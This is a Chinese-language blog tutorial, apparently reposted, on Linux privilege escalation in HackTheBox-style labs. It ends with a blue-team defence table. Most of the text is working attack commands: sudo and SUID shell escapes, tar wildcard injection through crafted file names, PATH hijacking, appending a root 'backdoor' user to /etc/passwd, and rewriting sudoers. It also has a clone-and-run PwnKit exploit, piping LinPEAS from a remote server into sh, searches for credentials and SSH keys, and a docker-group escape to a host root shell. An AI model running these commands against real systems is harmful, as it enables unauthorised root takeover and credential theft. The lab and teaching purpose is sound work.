[技术深浅]Linux提权完全指南

admin 2026-03-29 23:44:18 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文系统梳理Linux提权的八条高频路径:sudo配置错误、SUID/SGID滥用、Cron计划任务、内核漏洞、密码凭据搜索、文件权限漏洞、NFS错误配置及Docker容器逃逸。每条路径均给出检测命令、利用方式与真实HTB案例,并附提权决策流程图和自动化枚举工具推荐。强调sudo-l为提权第一关,pspy用于发现隐藏Cron任务,CVE-2021-4034PwnKit几乎通杀所有Linux发行版。文末提供蓝队防御建议,涵盖最小化sudo权限、限制SUID二进制、使用绝对路径、及时更新内核等措施。 综合评分: 78 文章分类: 渗透测试,WEB安全,内网渗透,漏洞分析,漏洞POC


cover_image

[技术深浅] Linux提权完全指南

原创

丘驰 丘驰

极客零零七

2026年3月26日 22:36 加拿大

#

声明:本文内容仅用于授权渗透测试和安全研究学习,所有示例均基于 HackTheBox 等合法靶机平台。

引言:从 www-data 到 root 的距离

每次打 Linux 靶机,拿到 www-data shell 的那一刻既开心又焦虑——开心的是脚踏进去了,焦虑的是还差得远。

Linux 提权路径比 Windows 多,但也更有规律可循。打了几十台 Linux 靶机之后,我发现 90% 的提权都逃不出这 8 条路径:sudo 配置错误、SUID 滥用、Cron 计划任务、内核漏洞、密码/凭据泄露、文件权限错误、NFS 配置问题、容器逃逸。

这篇文章把这 8 条路径系统梳理一遍,每条路径都有原理解释、检测命令、实战案例。

一、拿到 Shell 之后的第一件事

永远不要急着提权,先把枚举做完。

我踩的最大的坑:拿到 shell 立刻开始翻 SUID,找了半天,结果答案是 sudo -l 的第一行。

必做的枚举清单

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
# 身份信息id && whoamisudo -l              # ← 这条是重中之重,马上执行
# 系统信息uname -acat /etc/os-releasecat /proc/version
# 网络ss -tlnpcat /etc/hosts
# 敏感文件快速扫cat ~/.bash_historyfind / -name "*.env" 2>/dev/nullgrep -r "password" /var/www/ 2>/dev/null | head -20find / -name "id_rsa" 2>/dev/null

自动化工具

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
# LinPEAS(最推荐)curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
# 没有网络时,本机传输python3 -m http.server 8888 &nbsp;&nbsp;# 攻击机curl http://<你的IP>:8888/linpeas.sh | sh &nbsp;# 目标机
# pspy(监控进程,找隐藏cron)./pspy64 -pf -i 1000

二、8 条高频提权路径

路径 1:sudo 配置错误(命中率最高)

执行 sudo -l 是 Linux 提权的第一步,没有之一。

  • 1
sudo -l

任何 (ALL) NOPASSWD: 的条目都是提权入口。

高频可利用的 sudo 配置

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
# vim(直接开 shell)sudo vim -c&nbsp;':!/bin/bash'
# python3sudo python3 -c&nbsp;'import os; os.system("/bin/bash")'
# find(常被忽视)sudo find / -exec&nbsp;/bin/bash \; -quit
# less(交互式 shell)sudo less /etc/passwd!/bin/bash &nbsp; &nbsp; &nbsp; &nbsp;# 在 less 中输入
# awksudo awk&nbsp;'BEGIN {system("/bin/bash")}'
# nmap(旧版)sudo nmap --interactive!sh
# cp(覆盖 sudoers 给自己提权)echo&nbsp;"$(id -un)&nbsp;ALL=(ALL) NOPASSWD:ALL"&nbsp;| sudo&nbsp;cp&nbsp;/dev/stdin /etc/sudoers
# tar(带通配符时——常见 CTF 场景)sudo tar -xvf archive.tar --checkpoint=1 --checkpoint-action=exec=bash

查询任意命令的利用方式:GTFOBins[https://gtfobins.github.io/]

真实案例(HTB Bashed):靶机允许 sudo -u scriptmanager /bin/bash,切换到 scriptmanager 后发现 /scripts/ 目录下有 root 执行的脚本,改写脚本直接拿 root。


路径 2:SUID / SGID 滥用

  • 1
  • 2
  • 3
# 查找所有 SUID 文件find / -perm -u=s -type&nbsp;f 2>/dev/nullfind / -perm -4000 -type&nbsp;f 2>/dev/null

高频可利用的 SUID 二进制

| 命令 | 利用方式 | | — | — | | find | find . -exec /bin/bash -p \; -quit | | vim | vim -c ':!/bin/bash' | | python | python -c 'import os; os.execl("/bin/bash","sh","-p")' | | bash | /bin/bash -p | | cp | 覆盖 /etc/passwd 或 /etc/sudoers | | perl | perl -e 'exec "/bin/bash";' | | pkexec | CVE-2021-4034 (PwnKit),几乎通杀所有 Linux |

自定义程序有 SUID:这是 HTB 高难靶机的常见考点。找到自定义程序后:

  1. 用 strings / ltrace / strace 分析行为
  2. 检查是否有路径劫持漏洞(用相对路径调用系统命令)
  3. 检查是否有库劫持(LD_PRELOAD 相关)
  • 1
  • 2
  • 3
  • 4
  • 5
# 路径劫持示例:程序内部执行 `cat /etc/passwd` (没有绝对路径)export&nbsp;PATH=/tmp:$PATHecho&nbsp;'/bin/bash'&nbsp;> /tmp/catchmod&nbsp;+x /tmp/cat./vulnerable_suid_binary

路径 3:Cron 计划任务(第三高频,被严重低估)

很多人看 crontab 只看 /etc/crontab,但 pspy 会告诉你更多。

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
# 查看各类 croncrontab -lcat&nbsp;/etc/crontabls&nbsp;-la /etc/cron.*ls&nbsp;-la /var/spool/cron/
# 必跑:pspy 监控实时执行的 root 进程./pspy64# 等待 2-3 分钟,观察以 UID=0 执行的命令

三种常见利用方式

方式一:脚本文件可写

  • 1
  • 2
  • 3
  • 4
# root 执行 /opt/backup.sh,脚本可写echo&nbsp;'chmod +s /bin/bash'&nbsp;>> /opt/backup.sh# 等待 cron 执行后/bin/bash -p

方式二:PATH 劫持(脚本用相对路径)

  • 1
  • 2
  • 3
  • 4
# /etc/crontab 中:PATH=/home/user:/usr/local/bin:/usr/bin:/bin# backup.sh 中调用了 `tar`(没有绝对路径)echo&nbsp;'chmod +s /bin/bash'&nbsp;> /home/user/tarchmod&nbsp;+x /home/user/tar

方式三:通配符注入(tar * / rsync * 的经典陷阱)

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
# root cron 执行:tar -czf /backup.tgz /home/user/*# 利用:在 /home/user/ 下创建特殊文件名echo&nbsp;'chmod +s /bin/bash'&nbsp;> /home/user/run.shchmod&nbsp;+x /home/user/run.shtouch&nbsp;'/home/user/--checkpoint=1'touch&nbsp;'/home/user/--checkpoint-action=exec=sh run.sh'# 等待 cron 执行,bash 变成 SUID/bin/bash -p

路径 4:内核漏洞(精准打击)

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
# 确认内核版本uname&nbsp;-r
# 自动检测可利用的内核漏洞./linux-exploit-suggester.shpython3 linux-exploit-suggester-2.py

当前最高价值内核漏洞

| 漏洞名称 | CVE | 影响范围 | 备注 | | — | — | — | — | | PwnKit | CVE-2021-4034 | 几乎所有 Linux | pkexec SUID,通杀 | | DirtyPipe | CVE-2022-0847 | 内核 5.8-5.16.11 | 写任意只读文件 | | DirtyCow | CVE-2016-5195 | 内核 < 4.8.3 | 老靶机常见 | | Looney Tunables | CVE-2023-4911 | glibc 2.34-2.38 | 比较新 | | Baron Samedit | CVE-2021-3156 | Sudo < 1.9.5p2 | Sudo 缓冲区溢出 |

PwnKit 的通杀性:CVE-2021-4034 影响 2009 年以来几乎所有 Linux 发行版,利用 pkexec 的 SUID 写入,利用代码公开且易用。

  • 1
  • 2
  • 3
# PwnKit 利用git&nbsp;clone&nbsp;https://github.com/berdav/CVE-2021-4034cd&nbsp;CVE-2021-4034 && make && ./cve-2021-4034

路径 5:密码与凭据搜索

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
# 历史命令(高命中率)cat&nbsp;~/.bash_historycat&nbsp;~/.zsh_history
# Web 应用配置文件(数据库密码)find /var/www -name&nbsp;"*.php"&nbsp;-exec&nbsp;grep -l&nbsp;"password\|passwd\|db_pass"&nbsp;{} \;cat&nbsp;/var/www/html/config.phpfind / -name&nbsp;"wp-config.php"&nbsp;2>/dev/null
# .env 文件find / -name&nbsp;".env"&nbsp;2>/dev/null
# SSH 私钥find / -name&nbsp;"id_rsa"&nbsp;2>/dev/nullfind / -name&nbsp;"*.pem"&nbsp;2>/dev/null
# 全局密码搜索grep -r&nbsp;"password"&nbsp;/home/ /opt/ /var/ 2>/dev/null | grep -v&nbsp;".pyc\|Binary"&nbsp;|&nbsp;head&nbsp;-30

一个反复奏效的经验:找到数据库密码后,一定要尝试这个密码 SSH 登录其他用户。现实中密码重用无处不在,HTB 靶机也有意模拟这一点。


路径 6:文件权限漏洞

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
# /etc/passwd 全局可写(最危险)ls&nbsp;-la /etc/passwd# 如果可写,追加新 root 用户:openssl passwd -1 hacked &nbsp; &nbsp;# 生成密码哈希echo&nbsp;'backdoor:$1$<hash>:0:0:root:/root:/bin/bash'&nbsp;>> /etc/passwdsu backdoor
# /etc/sudoers 可写echo&nbsp;"$(whoami)&nbsp;ALL=(ALL) NOPASSWD:ALL"&nbsp;>> /etc/sudoers
# 查找全局可写的关键文件find / -writable -type&nbsp;f 2>/dev/null | grep -E&nbsp;"cron|sudoers|passwd|shadow|hosts"

路径 7:NFS 错误配置

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
# 检测 NFScat&nbsp;/etc/exportsshowmount -e <target>
# 关键:no_root_squash 配置# 如果某个共享目录有 no_root_squash,攻击机的 root 挂载后同样是 root

利用方式(攻击机执行):

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
mkdir&nbsp;/tmp/nfs_mountmount -o rw,vers=3 <target>:/shared /tmp/nfs_mount# 创建 SUID bashcp&nbsp;/bin/bash /tmp/nfs_mount/bash_suidchmod&nbsp;+s /tmp/nfs_mount/bash_suid# 目标机执行/path/to/bash_suid -p

路径 8:Docker / LXC 逃逸

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
# 检测是否在容器内cat&nbsp;/proc/1/cgroup | grep dockerls&nbsp;-la /.dockerenv
# 检测当前用户是否在 docker 组id&nbsp;| grep docker

docker 组成员 = root 权限

  • 1
  • 2
docker run -v /:/mnt --rm&nbsp;-it alpine&nbsp;chroot&nbsp;/mnt sh# 直接拿宿主机 root shell

三、提权决策流程图

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
拿到 Linux&nbsp;Shell&nbsp; &nbsp; ↓sudo -l&nbsp;── 有 NOPASSWD 条目? ──→ GTFOBins 查利用 → root&nbsp; &nbsp; ↓&nbsp;NOSUID 扫描 ── 有可利用的二进制? ──→ GTFOBins / 逆向分析 → root&nbsp; &nbsp; ↓&nbsp;NOLinPEAS 全扫描 ── 看高亮输出&nbsp; &nbsp; ↓bash_history / 配置文件 ── 有密码? ──→&nbsp;su&nbsp;/ SSH 切换 → 提权&nbsp; &nbsp; ↓&nbsp;NOcrontab + pspy ── 有 root 脚本可写? ──→ 修改脚本 → root&nbsp; &nbsp; ↓&nbsp;NO文件权限 ── /etc/passwd 可写? ──→ 追加 root 用户 → root&nbsp; &nbsp; ↓&nbsp;NO内核版本 ── PwnKit / DirtyPipe? ──→ CVE 利用 → root&nbsp; &nbsp; ↓&nbsp;NONFS / docker 组 ──→ 逃逸

四、Shell 升级(必做)

很多人忽略这一步,结果 Ctrl+C 直接断了。

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
# 方法1:Python(最通用)python3 -c&nbsp;'import pty; pty.spawn("/bin/bash")'
# 方法2:完整交互式 TTY(推荐,可以用 Ctrl+C、方向键、Tab)python3 -c&nbsp;'import pty; pty.spawn("/bin/bash")'# 然后 Ctrl+Z 挂起stty&nbsp;raw -echo;&nbsp;fg&nbsp; &nbsp; &nbsp;# 攻击机执行# 回到目标 shell 后export&nbsp;TERM=xtermstty&nbsp;rows 40 columns 150

五、蓝队防御建议

| 攻击路径 | 防御措施 | | — | — | | sudo 滥用 | 最小化 sudo 权限;避免 NOPASSWD;定期审计 /etc/sudoers | | SUID 滥用 | 仅保留必要的 SUID 二进制;定期扫描变化 | | Cron 脚本可写 | 严格控制 cron 脚本文件权限;使用绝对路径 | | 内核漏洞 | 及时更新内核;使用 SELinux/AppArmor | | 凭据泄露 | 配置文件不存明文密码;审计历史命令记录 | | /etc/passwd 可写 | 检查 DAC;关键文件使用不可变属性(chattr +i) | | NFS no_root_squash | 审计 /etc/exports;用 root_squash 替代 | | docker 组 | 不随意将用户加入 docker 组;使用 rootless docker |


关键收获

  1. sudo -l 是 Linux 提权的第一关:任何 NOPASSWD 条目都是提权入口,不管是 vim 还是 tar,查 GTFOBins 必有解法。
  2. pspy 是隐藏 Cron 的克星:很多 root cron 任务不在 /etc/crontab,但会在 pspy 里暴露。
  3. PwnKit 几乎通杀:遇到没有明显提权点的靶机,先跑一下 CVE-2021-4034,成功率极高。

回复 Linux提权 获取 Linux 提权速查 PDF(含完整命令清单)

关注「极客零零七」,每周实战攻防干货


参考资料

  • GTFOBins[https://gtfobins.github.io/] — SUID/sudo 利用查询必备
  • HackTricks – Linux Privilege Escalation[https://book.hacktricks.xyz/linux-hardening/privilege-escalation]
  • LinPEAS[https://github.com/peass-ng/PEASS-ng] — 自动化枚举工具
  • HackTheBox 推荐练习靶机:Bashed(Easy)、Tartarsauce(Medium)、Curling(Easy)

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:极客零零七 丘驰 丘驰《[技术深浅] Linux提权完全指南》

评论:0   参与:  0